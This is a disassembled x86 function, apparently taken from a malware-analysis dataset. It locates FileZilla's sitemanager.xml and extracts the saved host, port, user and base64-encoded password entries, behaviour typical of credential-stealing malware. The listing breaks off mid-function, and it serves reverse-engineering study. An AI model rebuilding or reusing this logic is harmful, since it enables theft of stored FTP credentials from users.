Function at 0x100a31e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
mov eax, dword [0x10102008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x110]
mov dword [ebp - 0x140], 0
push eax
push 0
mov esi, ecx
mov dword [ebp - 0x130], 0
push 0
push 0x1a
push 0
mov dword [ebp - 0x1bc], esi
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov dword [ebp - 0x12c], 0xf
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov dword [ebp - 0x1c0], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x118], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x114], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a32d0
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100b3d90
push 0x100fc694
lea ecx, [ebp - 0x128]
call fcn.100b3600
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x100a335e
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3354
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
push str.FileZilla_sitemanager.xml
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
call fcn.100b3600
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x190], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x100a33eb
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a33e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cb3
push edx
push ecx
call fcn.100bfa23
add esp, 8
cmp dword [ebp - 0x18c], 0x10
lea eax, [ebp - 0x1a0]
push 0x100fc708
cmovae eax, dword [ebp - 0x1a0]
push eax
call fcn.100c88ed
add esp, 8
test eax, eax
je 0x100a4ac2
push eax
call fcn.100c897b
mov eax, dword [ebp - 0x190]
add esp, 4
inc eax
push eax
call fcn.100bfa31
add esp, 4
lea ecx, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
mov edi, eax
mov edx, edi
cmovae ecx, dword [ebp - 0x1a0]
sub edx, ecx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100a3450
push 0x100fc708
push edi
call fcn.100c88ed
mov ebx, eax
push ebx
mov dword [ebp - 0x210], ebx
call fcn.100cbf45
add esp, 0xc
test eax, eax
jne 0x100a4838
push ebx
push 0x800
push 0x10108b68
call fcn.100cabe7
add esp, 0xc
test eax, eax
je 0x100a4821
mov ecx, 0x10108b68
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a34c2
sub ecx, edx
push ecx
push 0x10108b68
lea ecx, [ebp - 0x128]
call fcn.100b3d90
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 6
push str._Host_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a36f2
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 7
push str.__Host_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a36f2
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Host_
push ecx
call fcn.100b4aa0
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a4cbd
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3634
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a362a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov esi, dword [ebp - 0x130]
mov edx, esi
cmovae ecx, dword [ebp - 0x140]
push 7
push str.__Host_
push ecx
call fcn.100b4aa0
mov ecx, eax
mov dword [ebp - 0x1b8], 0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
cmp esi, ecx
mov dword [ebp - 0x1a4], 0xf
lea eax, [ebp - 0x140]
cmovb ecx, esi
cmp dword [ebp - 0x12c], 0x10
push ecx
cmovae eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a36f2
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a36e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 6
push str._Port_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a3908
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 7
push str.__Port_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a3908
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Port_
push ecx
call fcn.100b4aa0
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a4cbd
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a384a
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3840
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
mov esi, dword [ebp - 0x178]
mov edx, esi
cmovae ecx, dword [ebp - 0x188]
push 7
push str.__Port_
push ecx
call fcn.100b4aa0
mov ecx, eax
mov dword [ebp - 0x1b8], 0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
cmp esi, ecx
mov dword [ebp - 0x1a4], 0xf
lea eax, [ebp - 0x188]
cmovb ecx, esi
cmp dword [ebp - 0x174], 0x10
push ecx
cmovae eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3908
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a38fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 6
push str._User_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a3b1e
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 7
push str.__User_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a3b1e
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._User_
push ecx
call fcn.100b4aa0
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a4cbd
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3a60
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3a56
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
cmp dword [ebp - 0x15c], 0x10
lea ecx, [ebp - 0x170]
mov esi, dword [ebp - 0x160]
mov edx, esi
cmovae ecx, dword [ebp - 0x170]
push 7
push str.__User_
push ecx
call fcn.100b4aa0
mov ecx, eax
mov dword [ebp - 0x1b8], 0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
cmp esi, ecx
mov dword [ebp - 0x1a4], 0xf
lea eax, [ebp - 0x170]
cmovb ecx, esi
cmp dword [ebp - 0x15c], 0x10
push ecx
cmovae eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3b1e
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3b14
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 0x18
push str._Pass_encoding_base64__
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a3d8b
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
mov ecx, esp
push 7
push str.__Pass_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b3d90
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100a3d8b
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 0x18
cmovae ecx, ebx
push str._Pass_encoding_base64__
push ecx
call fcn.100b4aa0
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 0x18]
cmp esi, edx
jb 0x100a4cbd
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3c76
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3c6c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
cmp dword [ebp - 0x144], 0x10
lea ecx, [ebp - 0x158]
mov esi, dword [ebp - 0x148]
mov edx, esi
cmovae ecx, dword [ebp - 0x158]
push 7
push str.__Pass_
push ecx
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
call fcn.100b4aa0
mov ecx, eax
add esp, 0xc
cmp esi, ecx
lea eax, [ebp - 0x158]
cmovb ecx, esi
cmp dword [ebp - 0x144], 0x10
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b3d90
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100b36c0
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a3d34
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3d2a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x228]
call fcn.10083f30
push eax
lea ecx, [ebp - 0x158]
call fcn.100b36c0
mov edx, dword [ebp - 0x214]
cmp edx, 0x10
jb 0x100a3d8b
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3d81
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ecx, dword [ebp - 0x130]
test ecx, ecx
je 0x100a47e1
cmp dword [ebp - 0x160], 0
je 0x100a47e1
cmp dword [ebp - 0x148], 0
je 0x100a47e1
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a3dcd
cmp byte [eax], 0x30
jne 0x100a3dcd
mov al, 1
jmp 0x100a3dcf
xor al, al
test al, al
je 0x100a4333
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 1
jb 0x100a4cc2
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push eax
push 1
push 0x100fc858
push ecx
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x228]
call fcn.100b6510
push 0x100fcee8
lea ecx, [ebp - 0x228]
call fcn.100b3600
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x20c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100b41e0
add esp, 4
mov ecx, eax
push 0x100fc854
call fcn.100b3600
push 0x100fc858
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b3600
lea edx, [ebp - 0x1dc]
lea ecx, [ebp - 0x25c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x170]
push eax
call fcn.100b41e0
add esp, 4
mov ecx, eax
push 0x100fc854
call fcn.100b3600
push 0x100fc858
lea ecx, [ebp - 0x28c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x27c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b3600
lea edx, [ebp - 0x274]
lea ecx, [ebp - 0x244]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x274], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x264], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100b41e0
add esp, 4
mov ecx, eax
push 0x100fc868
call fcn.100b3600
mov ecx, dword [ebp - 0x1bc]
lea edx, [ebp - 0x2a4]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x294], xmm0
cmp dword [ebp - 0x290], 0x10
mov ebx, dword [ebp - 0x294]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
movd edi, xmm1
movups xmmword [ebp - 0x2a4], xmm1
cmovae edx, edi
sub eax, esi
cmp ebx, eax
ja 0x100a3ffa
cmp dword [ecx + 0x14], 0x10
lea eax, [ebx + esi]
mov dword [ecx + 0x10], eax
mov eax, ecx
jb 0x100a3fe7
mov eax, dword [ecx]
push ebx
add esi, eax
push edx
push esi
call fcn.100c1ff0
add esp, 0xc
mov byte [ebx + esi], 0
jmp 0x100a4015
push ebx
push edx
mov byte [ebp - 0x22c], 0
push dword [ebp - 0x22c]
push ebx
call fcn.100b4e20
mov edi, dword [ebp - 0x2a4]
mov eax, dword [ebp - 0x290]
cmp eax, 0x10
jb 0x100a404b
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x100a4041
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push ecx
push edi
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x230]
cmp edx, 0x10
jb 0x100a4085
mov ecx, dword [ebp - 0x244]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a407b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x230], 0xf
mov byte [ebp - 0x244], 0
cmp edx, 0x10
jb 0x100a40da
mov ecx, dword [ebp - 0x274]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a40d0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x278]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 0xf
mov byte [ebp - 0x274], 0
cmp edx, 0x10
jb 0x100a412f
mov ecx, dword [ebp - 0x28c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4125
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x278], 0xf
mov byte [ebp - 0x28c], 0
cmp edx, 0x10
jb 0x100a4184
mov ecx, dword [ebp - 0x25c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a417a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
cmp edx, 0x10
jb 0x100a41d9
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a41cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x100a422e
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4224
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1f8]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x100a4283
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4279
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
cmp edx, 0x10
jb 0x100a42d8
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a42ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a432d
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4323
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ecx, dword [ebp - 0x130]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a434d
cmp byte [eax], 0x31
jne 0x100a434d
mov al, 1
jmp 0x100a434f
xor al, al
test al, al
je 0x100a4793
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 0xe
jb 0x100a4cc2
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push eax
push 0xe
push str.ftpFileZilla
push ecx
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x228]
call fcn.100b6510
push 0x100fcee8
lea ecx, [ebp - 0x228]
call fcn.100b3600
lea edx, [ebp - 0x1dc]
lea ecx, [ebp - 0x244]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100b41e0
add esp, 4
mov ecx, eax
push 0x100fc860
call fcn.100b3600
lea edx, [ebp - 0x1f4]
lea ecx, [ebp - 0x25c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x170]
push eax
call fcn.100b41e0
add esp, 4
mov ecx, eax
push 0x100fc860
call fcn.100b3600
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x20c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100b41e0
add esp, 4
mov ecx, eax
push 0x100fc85c
call fcn.100b3600
mov ecx, dword [ebp - 0x1bc]
lea edx, [ebp - 0x2bc]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2ac], xmm0
cmp dword [ebp - 0x2a8], 0x10
mov ebx, dword [ebp - 0x2ac]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
movd edi, xmm1
movups xmmword [ebp - 0x2bc], xmm1
cmovae edx, edi
sub eax, esi
cmp ebx, eax
ja 0x100a450a
cmp dword [ecx + 0x14], 0x10
lea eax, [esi + ebx]
mov dword [ecx + 0x10], eax
mov eax, ecx
jb 0x100a44f7
mov eax, dword [ecx]
push ebx
add esi, eax
push edx
push esi
call fcn.100c1ff0
add esp, 0xc
mov byte [ebx + esi], 0
jmp 0x100a4525
push ebx
push edx
mov byte [ebp - 0x1c4], 0
push dword [ebp - 0x1c4]
push ebx
call fcn.100b4e20
mov edi, dword [ebp - 0x2bc]
mov eax, dword [ebp - 0x2a8]
cmp eax, 0x10
jb 0x100a455b
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x100a4551
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push ecx
push edi
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x100a4595
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a458b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
cmp edx, 0x10
jb 0x100a45ea
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a45e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4cae
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x1a8], 0
